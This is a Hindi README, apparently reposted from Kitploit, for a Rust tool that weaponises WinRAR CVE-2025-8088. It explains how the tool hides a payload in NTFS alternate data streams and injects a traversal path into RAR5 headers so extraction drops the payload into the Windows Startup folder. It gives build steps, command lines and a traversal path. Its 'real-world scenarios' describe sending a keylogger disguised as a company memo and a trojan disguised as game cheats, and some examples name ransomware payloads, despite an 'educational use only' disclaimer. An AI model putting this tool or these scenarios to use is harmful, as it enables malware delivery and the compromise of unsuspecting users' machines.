WinRAR एक्सप्लॉइट टूल - Rust संस्करण

उन्नत WinRAR पाथ ट्रैवर्सल एक्सप्लॉइट टूल - Rust में लिखा गया

WinRAR CVE-2025-8088 एक्सप्लॉइट टूल का उच्च-प्रदर्शन, मेमोरी-सुरक्षित कार्यान्वयन, जिसे बेहतर विश्वसनीयता और प्रदर्शन के लिए Rust में फिर से लिखा गया है।

विशेषताएँ

• ADS एक्सप्लॉइटेशन - पेलोड छिपाने के लिए NTFS अल्टरनेट डेटा स्ट्रीम
• RAR5 हेडर मैनिपुलेशन - पाथ इंजेक्शन के लिए सीधे हेडर पैचिंग
• आधुनिक GUI - CSS स्टाइलिंग के साथ सुंदर GTK-आधारित इंटरफ़ेस
• स्टार्टअप टार्गेटिंग - Windows स्टार्टअप में स्वचालित पेलोड प्लेसमेंट
• कस्टम डिकॉय सपोर्ट - अपनी खुद की डिकॉय फ़ाइलें या डिफ़ॉल्ट उपयोग करें
• यूनिवर्सल फ़ाइल सपोर्ट - पेलोड और डिकॉय दोनों के लिए किसी भी फ़ाइल प्रकार का समर्थन
• मजबूत एरर हैंडलिंग - व्यापक त्रुटि जांच और डायग्नोस्टिक्स
• सिस्टम डायग्नोस्टिक्स - स्वचालित सिस्टम संगतता जांच
• मेमोरी कुशल - स्मार्ट संसाधन प्रबंधन के साथ कम मेमोरी उपयोग

आवश्यकताएँ

• Rust 1.70+ - आधुनिक Rust टूलचेन
• GTK डेवलपमेंट लाइब्रेरीज़ - GUI समर्थन के लिए
• WinRAR CLI - RAR आर्काइव निर्माण के लिए
• Windows 10/11 - NTFS समर्थन आवश्यक

त्वरित आरंभ

1. Rust इंस्टॉल करें

# Install Rust using rustup


# Verify installation
rustc --version
cargo --version

2. GTK डेवलपमेंट लाइब्रेरीज़ इंस्टॉल करें

Windows (MSVC)

# Using vcpkg
vcpkg install gtk:x64-windows

या MSYS2 का उपयोग करके

pacman -S mingw-w64-x86_64-gtk4

3. क्लोन और बिल्ड करें

# Navigate to the rust project
cd winrar_exploit_rust

# Build in debug mode
cargo build

# Build optimized release
cargo build --release

# Run the application
cargo run --release

उपयोग

1. पेलोड चुनें - किसी भी फ़ाइल को पेलोड के रूप में चुनें (.exe, .bat, .jpg, .pdf, आदि)
2. डिकॉय चुनें - किसी भी फ़ाइल को डिकॉय के रूप में चुनें (खाली होने पर डिफ़ॉल्ट बनाएगा)
3. आर्काइव का नाम दें - आउटपुट RAR फ़ाइलनाम दर्ज करें
4. बिल्ड करें - एक्सप्लॉइट आर्काइव जनरेट करें

उदाहरण

बेसिक उपयोग

पेलोड और डिकॉय फ़ाइल के साथ एक सरल एक्सप्लॉइट बनाएं:

# Create exploit with executable payload
.\winrar_exploit_rust.exe create --payload "C:\payload.exe" --decoy "C:\decoy.txt" --output "exploit.rar"

# Create exploit with script payload
.\winrar_exploit_rust.exe create --payload "C:\malicious.ps1" --decoy "C:\document.pdf" --output "malicious.rar"

एडवांस्ड उपयोग

एकाधिक डिकॉय फ़ाइलें

# Use multiple decoy files separated by commas
.\winrar_exploit_rust.exe create --payload "C:\payload.exe" --decoy "C:\photo.jpg,C:\document.pdf,C:\video.mp4" --output "multi_decoy.rar"

कस्टम ड्रॉप डायरेक्ट्री

# Specify custom directory where payload will be placed
.\winrar_exploit_rust.exe create --payload "C:\payload.exe" --decoy "C:\decoy.txt" --output "custom_drop.rar" --drop_dir "C:\Users\Victim\Desktop"

विभिन्न पेलोड प्रकार

# Image payload (steganography)
.\winrar_exploit_rust.exe create --payload "C:\malicious.jpg" --decoy "C:\innocent.txt" --output "image_exploit.rar"

# PDF payload
.\winrar_exploit_rust.exe create --payload "C:\trojan.pdf" --decoy "C:\readme.txt" --output "pdf_exploit.rar"

# Batch script payload
.\winrar_exploit_rust.exe create --payload "C:\ransomware.bat" --decoy "C:\instructions.txt" --output "batch_exploit.rar"

सिस्टम डायग्नोस्टिक्स

# Run system diagnostics to check compatibility
.\winrar_exploit_rust.exe diagnose

# Show available tools and features
.\winrar_exploit_rust.exe tools

वास्तविक दुनिया के परिदृश्य

परिदृश्य 1: कॉर्पोरेट वातावरण

# Create a malicious document that looks like a company memo
.\winrar_exploit_rust.exe create --payload "C:\keylogger.exe" --decoy "C:\company_memo.pdf" --output "important_memo.rar"

परिदृश्य 2: गेमिंग समुदाय

# Hide malware in a game cheat file
.\winrar_exploit_rust.exe create --payload "C:\trojan.exe" --decoy "C:\game_cheat.txt,C:\screenshot.jpg" --output "cheats.rar"

यह टूल निम्न का उपयोग करके पाथ ट्रैवर्सल के साथ RAR आर्काइव बनाता है:

1. ADS निर्माण - पेलोड को NTFS अल्टरनेट डेटा स्ट्रीम में छिपाता है
2. RAR बिल्डिंग - WinRAR CLI का उपयोग करके ADS के साथ बेस RAR बनाता है
3. हेडर पैचिंग - RAR5 हेडर में ट्रैवर्सल पाथ इंजेक्ट करता है
4. CRC पुनर्गणना - आर्काइव अखंडता सुनिश्चित करता है
5. आउटपुट - निष्कर्षण के लिए तैयार दुर्भावनापूर्ण RAR वितरित करता है

पाथ उदाहरण: ..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\..\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.exe

समर्थित फ़ाइल प्रकार

पेलोड फ़ाइलें:

• ✅ एक्ज़ीक्यूटेबल (.exe, .bat, .cmd)
• ✅ स्क्रिप्ट्स (.py, .js, .vbs, .ps1)
• ✅ दस्तावेज़ (.pdf, .docx, .xlsx)
• ✅ इमेज (.jpg, .png, .gif)
• ✅ वीडियो (.mp4, .avi)
• ✅ ऑडियो (.mp3, .wav)
• ✅ कोई भी फ़ाइल प्रकार

डिकॉय फ़ाइलें:

• ✅ टेक्स्ट फ़ाइलें (.txt, .doc, .pdf)
• ✅ इमेज (.jpg, .png, .gif, .bmp)
• ✅ वीडियो (.mp4, .avi)
• ✅ ऑडियो (.mp3, .wav)
• ✅ दस्तावेज़ (.docx, .xlsx)
• ✅ कोई भी फ़ाइल प्रकार

आर्किटेक्चर

winrar_exploit_rust/
├── src/
│   ├── main.rs          # Application entry point
│   ├── gui.rs           # GTK-based user interface
│   ├── exploit.rs       # Core exploit logic
│   ├── ads.rs           # NTFS ADS manipulation
│   ├── rar.rs           # RAR5 header manipulation
│   ├── diagnostics.rs   # System diagnostics
│   └── error.rs         # Error handling
├── Cargo.toml           # Dependencies and build config
└── README.md           # This file

समस्या निवारण

टूल में स्वचालित डायग्नोस्टिक्स शामिल हैं जो जांचते हैं:

• ✅ WinRAR CLI इंस्टॉलेशन
• ✅ NTFS ADS समर्थन
• ✅ स्टार्टअप डायरेक्ट्री अनुमतियाँ
• ✅ GTK लाइब्रेरी उपलब्धता
• ✅ फ़ाइल सिस्टम संगतता

सामान्य समस्याएँ:

1. "GTK नहीं मिला"

   root@kitploit:~

   # Install GTK development libraries
   # Windows (vcpkg)
   vcpkg install gtk:x64-windows
   
   # Or using MSYS2
   pacman -S mingw-w64-x86_64-gtk4
   

2. "WinRAR CLI नहीं मिला"

   • WinRAR को https://www.winrar.com से इंस्टॉल करें
   • सुनिश्चित करें कि rar.exe Program Files में है

3. "स्टार्टअप डायरेक्ट्री में नहीं लिख सकते"

   • टूल को एडमिनिस्ट्रेटर के रूप में चलाएं
   • फ़ोल्डर अनुमतियाँ जांचें

4. "NTFS ADS समर्थित नहीं है"

   • सुनिश्चित करें कि आप NTFS फ़ाइल सिस्टम का उपयोग कर रहे हैं
   • ADS FAT32/exFAT पर समर्थित नहीं है

5. कंपाइलेशन त्रुटियाँ

   root@kitploit:~

   # Update Rust toolchain
   rustup update
   
   # Clean and rebuild
   cargo clean
   cargo build --release
   

कोड फ़ॉर्मेटिंग

# Format code
cargo fmt

# Lint code
cargo clippy

निर्भरताएँ

मुख्य निर्भरताएँ निम्न हैं:

• gtk - आधुनिक GUI फ्रेमवर्क
• tokio - एसिंक रनटाइम
• windows - Windows API बाइंडिंग्स
• crc32fast - तेज़ CRC32 गणना
• byteorder - बाइट ऑर्डर मैनिपुलेशन
• anyhow - एरर हैंडलिंग

सुरक्षा संबंधी विचार

• शैक्षणिक उद्देश्य: यह टूल केवल अधिकृत परीक्षण और शैक्षणिक उद्देश्यों के लिए है
• नियंत्रित वातावरण: उचित सहमति के साथ केवल नियंत्रित वातावरण में उपयोग करें
• कानूनी अनुपालन: लागू कानूनों और विनियमों का अनुपालन सुनिश्चित करें
• जिम्मेदार प्रकटीकरण: जिम्मेदार प्रकटीकरण प्रथाओं का पालन करें

लाइसेंस

यह प्रोजेक्ट MIT लाइसेंस के तहत लाइसेंस प्राप्त है - विवरण के लिए LICENSE फ़ाइल देखें।

लेखक

Telegram पर @kanonufo द्वारा निर्मित

CVE-2025-8088 एक्सप्लॉइटेशन के लिए उच्च-प्रदर्शन रेड टीम टूल - Rust संस्करण